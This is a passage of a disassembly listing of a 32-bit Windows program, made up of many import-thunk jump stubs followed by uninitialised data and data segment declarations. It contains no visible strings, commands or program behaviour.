; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4079A8	proc near		; CODE XREF: sub_403659+A7p
		jmp	ds:dword_426398
sub_4079A8	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		dd 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4079B4	proc near		; CODE XREF: sub_405AAC+10p
					; sub_406344+9Ap
		jmp	ds:dword_42639C
sub_4079B4	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4079C0	proc near		; CODE XREF: sub_401EAF+1Cp
					; sub_403BC5+EEp ...
		jmp	ds:dword_4263A0
sub_4079C0	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		dd 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4079CC	proc near		; CODE XREF: sub_402B0D+34p
					; sub_406344+86p
		jmp	ds:dword_4263A4
sub_4079CC	endp

; ---------------------------------------------------------------------------
		align 8

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4079D8	proc near		; CODE XREF: sub_4026EE+57p
		jmp	ds:dword_4263A8
sub_4079D8	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		dd 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4079E4	proc near		; CODE XREF: sub_402B0D+A5p
					; sub_405AAC+633p ...
		jmp	ds:dword_4263AC
sub_4079E4	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4079F0	proc near		; CODE XREF: sub_4024E0+33p
					; sub_402613+1Ep ...
		jmp	ds:dword_4263B0
sub_4079F0	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		dd 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4079FC	proc near		; CODE XREF: sub_40251A+54p
					; .text:004026E4p
		jmp	ds:dword_4263B4
sub_4079FC	endp

; ---------------------------------------------------------------------------
		align 8

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_407A08	proc near		; CODE XREF: sub_40251A+34p
					; .text:004026C4p
		jmp	ds:dword_4263B8
sub_407A08	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		dd 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_407A14	proc near		; CODE XREF: sub_401EAF+18Ep
		jmp	ds:dword_4263BC
sub_407A14	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_407A20	proc near		; CODE XREF: sub_403D8E+290p
					; sub_406344+1A8p
		jmp	ds:dword_4263C0
sub_407A20	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		dd 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_407A2C	proc near		; CODE XREF: sub_403D8E+1Cp
		jmp	ds:dword_4263C4
sub_407A2C	endp

; ---------------------------------------------------------------------------
		align 8

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_407A38	proc near		; CODE XREF: sub_401EAF+164p
		jmp	ds:dword_4263C8
sub_407A38	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		dd 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_407A44	proc near		; CODE XREF: sub_401EAF+3D6p
		jmp	ds:dword_4263CC
sub_407A44	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_407A50	proc near		; CODE XREF: sub_401EAF+8Bp
		jmp	ds:dword_4263D0
sub_407A50	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		dd 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_407A5C	proc near		; CODE XREF: sub_4014E2+49p
					; sub_4033E8+38p ...
		jmp	ds:dword_4263D4
sub_407A5C	endp

; ---------------------------------------------------------------------------
		align 8

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_407A68	proc near		; CODE XREF: sub_4033E8+61p
					; sub_403659+4Dp ...
		jmp	ds:dword_4263D8
sub_407A68	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		dd 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_407A74	proc near		; CODE XREF: sub_406316+11p
		jmp	ds:dword_4263DC
sub_407A74	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_407A80	proc near		; CODE XREF: sub_4033E8+15p
		jmp	ds:dword_4263E0
sub_407A80	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		dd 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_407A8C	proc near		; CODE XREF: sub_40129C+23p
					; sub_4014E2+1Dp ...
		jmp	ds:dword_4263E4
sub_407A8C	endp

; ---------------------------------------------------------------------------
		align 8

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_407A98	proc near		; CODE XREF: sub_40129C+49p
					; sub_4014E2+6Cp
		jmp	ds:dword_4263E8
sub_407A98	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		dd 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_407AA4	proc near		; CODE XREF: sub_40107A+13p
		jmp	ds:dword_4263EC
sub_407AA4	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_407AB0	proc near		; CODE XREF: sub_401EAF+326p
					; sub_405350:loc_405390p
		jmp	ds:dword_4263F0
sub_407AB0	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		dd 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_407ABC	proc near		; CODE XREF: sub_403459+31p
					; sub_404FCE+182p ...
		jmp	ds:dword_4263F4
sub_407ABC	endp

; ---------------------------------------------------------------------------
		align 8

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_407AC8	proc near		; CODE XREF: sub_40519A+97p
		jmp	ds:dword_4263F8
sub_407AC8	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		dd 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_407AD4	proc near		; CODE XREF: sub_406344+2F5p
		jmp	ds:dword_4263FC
sub_407AD4	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_407AE0	proc near		; CODE XREF: sub_403D8E+20Fp
					; sub_403D8E+232p
		jmp	ds:dword_426400
sub_407AE0	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		dd 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_407AEC	proc near		; CODE XREF: sub_40409C+61p
		jmp	ds:dword_426404
sub_407AEC	endp

; ---------------------------------------------------------------------------
		align 8

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_407AF8	proc near		; CODE XREF: sub_40530C+Fp
		jmp	ds:dword_426408
sub_407AF8	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		dd 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_407B04	proc near		; CODE XREF: sub_405322+Dp
		jmp	ds:dword_42640C
sub_407B04	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_407B10	proc near		; CODE XREF: sub_401EAF+346p
		jmp	ds:dword_426410
sub_407B10	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		dd 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_407B1C	proc near		; CODE XREF: sub_403D8E+1B3p
		jmp	ds:dword_426414
sub_407B1C	endp

; ---------------------------------------------------------------------------
		align 8

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_407B28	proc near		; CODE XREF: sub_404117+24p
		jmp	ds:dword_426418
sub_407B28	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		dd 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_407B34	proc near		; CODE XREF: sub_402784+BEp
					; sub_402B0D+19Bp ...
		jmp	ds:dword_42641C
sub_407B34	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_407B40	proc near		; CODE XREF: sub_402784+70p
					; sub_40284A+1E1p ...
		jmp	ds:dword_426420
sub_407B40	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		dd 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_407B4C	proc near		; CODE XREF: sub_401565+62p
					; sub_4035B2+Dp ...
		jmp	ds:dword_426424
sub_407B4C	endp

; ---------------------------------------------------------------------------
		align 8

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_407B58	proc near		; CODE XREF: sub_404117+Dp
		jmp	ds:dword_426428
sub_407B58	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		dd 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_407B64	proc near		; CODE XREF: sub_404F53+1Ep
					; sub_406344+45Dp
		jmp	ds:dword_42642C
sub_407B64	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_407B70	proc near		; CODE XREF: sub_402B0D+F5p
					; sub_403D8E+2ADp ...
		jmp	ds:dword_426430
sub_407B70	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		dd 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_407B7C	proc near		; CODE XREF: sub_403D8E+244p
					; sub_404211+63p ...
		jmp	ds:dword_42643C
sub_407B7C	endp

; ---------------------------------------------------------------------------
		align 8

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_407B88	proc near		; CODE XREF: sub_40553F+3Dp
					; sub_4068A8+99p ...
		jmp	ds:dword_426440
sub_407B88	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		dd 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_407B94	proc near		; CODE XREF: sub_403D8E+1FFp
		jmp	ds:dword_426444
sub_407B94	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_407BA0	proc near		; CODE XREF: sub_4054DD+13p
					; sub_4054DD+56p
		jmp	ds:dword_426448
sub_407BA0	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		dd 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_407BAC	proc near		; CODE XREF: sub_4054DD+2Fp
		jmp	ds:dword_42644C
sub_407BAC	endp

; ---------------------------------------------------------------------------
		align 8

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_407BB8	proc near		; CODE XREF: sub_40553F+564p
					; sub_4067EE+27p ...
		jmp	ds:dword_426450
sub_407BB8	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		dd 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_407BC4	proc near		; CODE XREF: sub_4043B0+4Cp
		jmp	ds:dword_426454
sub_407BC4	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_407BD0	proc near		; CODE XREF: sub_406344+280p
		jmp	ds:dword_426458
sub_407BD0	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		dd 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_407BDC	proc near		; CODE XREF: sub_406344+28Fp
		jmp	ds:dword_42645C
sub_407BDC	endp

; ---------------------------------------------------------------------------
		align 8

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_407BE8	proc near		; CODE XREF: sub_406344+477p
		jmp	ds:dword_426460
sub_407BE8	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		dd 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_407BF4	proc near		; CODE XREF: sub_406344+2B8p
		jmp	ds:dword_426464
sub_407BF4	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_407C00	proc near		; CODE XREF: sub_4068A8+262p
					; sub_4068A8+2C4p ...
		jmp	ds:dword_426468
sub_407C00	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		dd 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_407C0C	proc near		; CODE XREF: sub_406344+49Ap
		jmp	ds:dword_42646C
sub_407C0C	endp

; ---------------------------------------------------------------------------
		align 8

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_407C18	proc near		; CODE XREF: sub_40553F+4D6p
					; sub_40553F+4FAp ...
		jmp	ds:dword_426470
sub_407C18	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		dd 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_407C24	proc near		; CODE XREF: sub_40553F+4EDp
					; sub_40553F+511p ...
		jmp	ds:dword_426474
sub_407C24	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_407C30	proc near		; CODE XREF: sub_402CB2+3Ep
		jmp	ds:dword_426478
sub_407C30	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		dd 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_407C3C	proc near		; CODE XREF: sub_402CB2+56p
		jmp	ds:dword_42647C
sub_407C3C	endp

; ---------------------------------------------------------------------------
		align 8

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_407C48	proc near		; CODE XREF: sub_402CB2+15p
		jmp	ds:dword_426480
sub_407C48	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		dd 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_407C54	proc near		; CODE XREF: sub_406344+482p
		jmp	ds:dword_426484
sub_407C54	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_407C60	proc near		; CODE XREF: sub_406344+48Bp
		jmp	ds:dword_426488
sub_407C60	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		dd 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_407C6C	proc near		; CODE XREF: sub_40553F+13Ap
					; sub_40553F+1DDp ...
		jmp	ds:dword_42648C
sub_407C6C	endp

; ---------------------------------------------------------------------------
		align 8

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_407C78	proc near		; CODE XREF: sub_4032E2+3Ep
					; sub_4032E2+8Ep ...
		jmp	ds:dword_426490
sub_407C78	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		dd 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_407C84	proc near		; CODE XREF: sub_4068A8+15Bp
		jmp	ds:dword_426494
sub_407C84	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_407C90	proc near		; CODE XREF: sub_40553F+30p
					; sub_4068A8+578p
		jmp	ds:dword_426498
sub_407C90	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		dd 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_407C9C	proc near		; CODE XREF: sub_40553F+7Fp
					; sub_40553F+BBp ...
		jmp	ds:dword_42649C
sub_407C9C	endp

; ---------------------------------------------------------------------------
		align 8

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_407CA8	proc near		; CODE XREF: sub_4068A8+176p
					; sub_4068A8+4E9p
		jmp	ds:dword_4264A0
sub_407CA8	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		dd 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_407CB4	proc near		; CODE XREF: sub_4068A8+11Cp
		jmp	ds:dword_4264A4
sub_407CB4	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_407CC0	proc near		; CODE XREF: sub_4068A8+58Bp
		jmp	ds:dword_4264A8
sub_407CC0	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		dd 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_407CCC	proc near		; CODE XREF: sub_4067EE+AEp
		jmp	ds:dword_4264AC
sub_407CCC	endp

; ---------------------------------------------------------------------------
		align 8

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_407CD8	proc near		; CODE XREF: sub_406344+29Dp
		jmp	ds:dword_4264B8
sub_407CD8	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		dd 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_407CE4	proc near		; CODE XREF: sub_4068A8+1F4p
		jmp	ds:dword_4264BC
sub_407CE4	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_407CF0	proc near		; CODE XREF: sub_4068A8+1DBp
					; sub_4068A8+1E7p
		jmp	ds:dword_4264C0
sub_407CF0	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		dd 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_407CFC	proc near		; CODE XREF: sub_4068A8+20Ep
		jmp	ds:dword_4264C4
sub_407CFC	endp

; ---------------------------------------------------------------------------
		align 8

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_407D08	proc near		; CODE XREF: sub_40553F+128p
					; sub_40553F+447p
		jmp	ds:dword_4264C8
sub_407D08	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		dd 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_407D14	proc near		; CODE XREF: sub_4033E8+26p
		jmp	ds:dword_4264D4
sub_407D14	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_407D20	proc near		; CODE XREF: sub_4033E8+4Ep
		jmp	ds:dword_4264D8
sub_407D20	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		dd 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_407D2C	proc near		; CODE XREF: sub_401379+21p
					; sub_402AAB+2Fp
		jmp	ds:dword_4264DC
sub_407D2C	endp

; ---------------------------------------------------------------------------
		align 8

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_407D38	proc near		; CODE XREF: sub_401326+40p
					; sub_401379+4Bp ...
		jmp	ds:dword_4264E0
sub_407D38	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		dd 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_407D44	proc near		; CODE XREF: sub_401326+16p
		jmp	ds:dword_4264E4
sub_407D44	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_407D50	proc near		; CODE XREF: sub_401326+36p
		jmp	ds:dword_4264E8
sub_407D50	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		dd 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_407D5C	proc near		; CODE XREF: sub_401379+41p
					; sub_402AAB+51p
		jmp	ds:dword_4264EC
sub_407D5C	endp

; ---------------------------------------------------------------------------
		align 8

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_407D68	proc near		; CODE XREF: sub_401A00+9Dp
		jmp	ds:dword_4264F0
sub_407D68	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		dd 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_407D74	proc near		; CODE XREF: sub_401A00+C4p
		jmp	ds:dword_4264F4
sub_407D74	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_407D80	proc near		; CODE XREF: sub_401A00+AFp
		jmp	ds:dword_4264F8
sub_407D80	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		dd 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_407D8C	proc near		; CODE XREF: sub_4032E2+Fp
		jmp	ds:dword_4264FC
sub_407D8C	endp

; ---------------------------------------------------------------------------
		align 8

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_407D98	proc near		; CODE XREF: sub_4032E2+DEp
		jmp	ds:dword_426500
sub_407D98	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		dd 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_407DA4	proc near		; CODE XREF: sub_4032E2+19p
		jmp	ds:dword_426504
sub_407DA4	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_407DB0	proc near		; CODE XREF: sub_402578+15p
		jmp	ds:dword_426510
sub_407DB0	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		dd 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_407DBC	proc near		; CODE XREF: sub_401219+49p
		jmp	ds:dword_426514
sub_407DBC	endp

; ---------------------------------------------------------------------------
		align 8

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_407DC8	proc near		; CODE XREF: sub_404211+E7p
					; sub_4043B0+47p ...
		jmp	ds:dword_426518
sub_407DC8	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		dd 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_407DD4	proc near		; CODE XREF: sub_4034AD+93p
					; sub_4034AD+DFp
		jmp	ds:dword_42651C
sub_407DD4	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_407DE0	proc near		; CODE XREF: sub_405AAC+7A1p
					; sub_405AAC+7BEp
		jmp	ds:dword_426520
sub_407DE0	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		dd 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_407DEC	proc near		; CODE XREF: sub_401219+74p
					; sub_405AAC+75Bp ...
		jmp	ds:dword_426524
sub_407DEC	endp

; ---------------------------------------------------------------------------
		align 8

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_407DF8	proc near		; CODE XREF: sub_405350+A2p
		jmp	ds:dword_426528
sub_407DF8	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		dd 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_407E04	proc near		; CODE XREF: sub_401565+1Ep
					; .text:00404FBEp ...
		jmp	ds:dword_42652C
sub_407E04	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_407E10	proc near		; CODE XREF: sub_403D8E+32p
					; sub_403D8E+13Ap ...
		jmp	ds:dword_426530
sub_407E10	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		dd 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_407E1C	proc near		; CODE XREF: sub_40109A+149p
		jmp	ds:dword_426534
sub_407E1C	endp

; ---------------------------------------------------------------------------
		align 8

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_407E28	proc near		; CODE XREF: sub_4013E4:loc_4013F1p
					; sub_40284A+Cp ...
		jmp	ds:dword_426538
sub_407E28	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		dd 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_407E34	proc near		; CODE XREF: sub_40109A+102p
					; sub_40109A+11Cp ...
		jmp	ds:dword_42653C
sub_407E34	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_407E40	proc near		; CODE XREF: sub_402638+13p
					; .text:00402695p ...
		jmp	ds:dword_426540
sub_407E40	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		dd 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_407E4C	proc near		; CODE XREF: sub_405AAC+16p
					; sub_406344+A0p
		jmp	ds:dword_426544
sub_407E4C	endp

; ---------------------------------------------------------------------------
		align 8

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_407E58	proc near		; CODE XREF: sub_405AAC+5A5p
		jmp	ds:dword_426548
sub_407E58	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		dd 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_407E64	proc near		; CODE XREF: sub_4024E0+24p
					; sub_40251A+25p ...
		jmp	ds:dword_42654C
sub_407E64	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_407E70	proc near		; CODE XREF: sub_407868+17p
		jmp	ds:dword_426550
sub_407E70	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		dd 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_407E7C	proc near		; CODE XREF: sub_403D8E+2C8p
		jmp	ds:dword_426554
sub_407E7C	endp

; ---------------------------------------------------------------------------
		align 200h
_text		ends

; Section 2. (virtual address 00008000)
; Virtual size			: 00011378 (  70520.)
; Section size in file		: 00011378 (  70520.)
; Offset to raw	data for section: 00008000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
_bss		segment	para public 'DATA' use32
		assume cs:_bss
		;org 408000h
dword_408000	dd 0							; sub_4067EE+8Br ...
dword_408004	dd 0							; sub_4015EC+3A9w ...
		align 10h
dword_408010	dd 40h dup(0)						; sub_405AAC+3C0o ...
dword_408110	dd 0							; sub_4015EC+1DAw ...
dword_408114	dd 0							; sub_4015EC+34Fr ...
dword_408118	dd 0							; sub_404DE5+1Ar ...
byte_40811C	db 0			; DATA XREF: sub_4015EC+FBw
		align 10h
dword_408120	dd 40h dup(0)						; sub_406344+21Eo ...
dword_408220	dd 0							; sub_401EAF+CBw ...
		dd 0FEh	dup(0)
dword_40861C	dd 0							; sub_40553F+473r ...
dword_408620	dd 0				dd 0FEh	dup(0)
dword_408A1C	dd 0							; sub_4067EE+99r
dword_408A20	dd 0							; sub_40553F+4A3r ...
		align 8
byte_408A28	db 0			; DATA XREF: sub_4015EC+357w
		align 10h
byte_408A30	db 0			; DATA XREF: sub_4015EC+47w
					; sub_4015EC+4Cr ...
		align 4
dword_408A34	dd 0							; sub_4015EC+184w ...
		align 10h
dword_408A40	dd 40h dup(0)						; sub_405AAC+53Co ...
dword_408B40	dd 0							; sub_401EAF+B9r ...
		dd 0FFh	dup(0)
dword_408F40	dd 0							; sub_406344+81o
		align 10h
dword_408F50	dd 0				dd 20h dup(0)
byte_408FD4	db 0			; DATA XREF: sub_4015EC+31Ew
					; sub_4015EC+323r
		align 4
dword_408FD8	dd 0							; sub_4015EC+B3r ...
dword_408FDC	dd 0		dword_408FE0	dd 0							; sub_401A00+82r ...
dword_408FE4	dd 0							; sub_406344+471r ...
dword_408FE8	dd 0							; sub_40553F+134r
dword_408FEC	dd 0							; sub_4068A8+572r
dword_408FF0	dd 0							; sub_401B2E+8r
dword_408FF4	dd 0							; sub_4015EC:loc_401659w ...
dword_408FF8	dd 0							; sub_40553F+483r ...
dword_408FFC	dd 0							; sub_4067EE+7Dr
dword_409000	dd 0							; sub_40553F+20Cr ...
dword_409004	dd 0							; sub_401AE9+3Ar
dword_409008	dd 0							; sub_40553F+8Br ...
dword_40900C	dd 0							; sub_4015EC+8Fw ...
dword_409010	dd 0							; sub_4067EE+6Fr
		align 10h
dword_409020	dd 40h dup(0)						; sub_406344+205o ...
byte_409120	db 0			; DATA XREF: sub_4015EC+13Dw
		align 4
dword_409124	dd 0							; sub_40553F+CFr ...
		align 10h
byte_409130	db 0			; DATA XREF: sub_4043B0+CAo
					; sub_404BA0+5Bo ...
byte_409131	db 0			; DATA XREF: sub_404BA0+176r
byte_409132	db 0			; DATA XREF: sub_404BA0+17Fr
byte_409133	db 0			; DATA XREF: sub_404BA0+188r
		dd 3FFFh dup(0)
byte_419130	db 0			; DATA XREF: sub_4015EC+223w
					; sub_4015EC+228r
		align 4
dword_419134	dd 0							; .text:loc_404F92r ...
dword_419138	dd 0		dword_41913C	dd 0							; sub_401A00+11r
dword_419140	dd 0							; sub_40553F+149r ...
byte_419144	db 0			; DATA XREF: sub_4015EC+2A0w
					; sub_4015EC+2A5r ...
		align 4
dword_419148	dd 0							; sub_40553F+493r ...
dword_41914C	dd 0							; sub_4068A8+1A9r ...
dword_419150	dd 0							; sub_40553F+1D7r ...
		align 10h
dword_419160	dd 40h dup(0)						; sub_40284A+180o ...
byte_419260	db 0			; DATA XREF: sub_40129C+58o
					; sub_404FCE+CDw ...
		align 4
		dd 3Fh dup(0)
dword_419360	dd 0							; sub_40553F+4B3r ...
dword_419364	dd 0							; sub_40553F+4C3r
dword_419368	dd 0							; sub_4068A8+1B1r ...
		align 10h
byte_419370	db 0			; DATA XREF: sub_4015EC+385w
		align 8
_bss		ends

; Section 3. (virtual address 0001A000)
; Virtual size			: 0000C000 (  49152.)
; Section size in file		: 0000C000 (  49152.)
; Offset to raw	data for section: 0001A000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
_data		segment	para public 'DATA' use32
		assume cs:_data
		;org 41A000h
		dd offset dword_408000
		dd 419378h, 8000h, 0
dword_41A010	dd 8							; sub_40109A+110w ...
dword_41A014	dd 0				dd 0
dword_41A01C	dd 0		dword_41A020	dd 0							; sub_401219+5Ar
dword_41A024	dd 0							; sub_401219+54r
dword_41A028	dd 0							; sub_401219+4Er
dword_41A02C	dd 0							; sub_40109A:loc_401208r
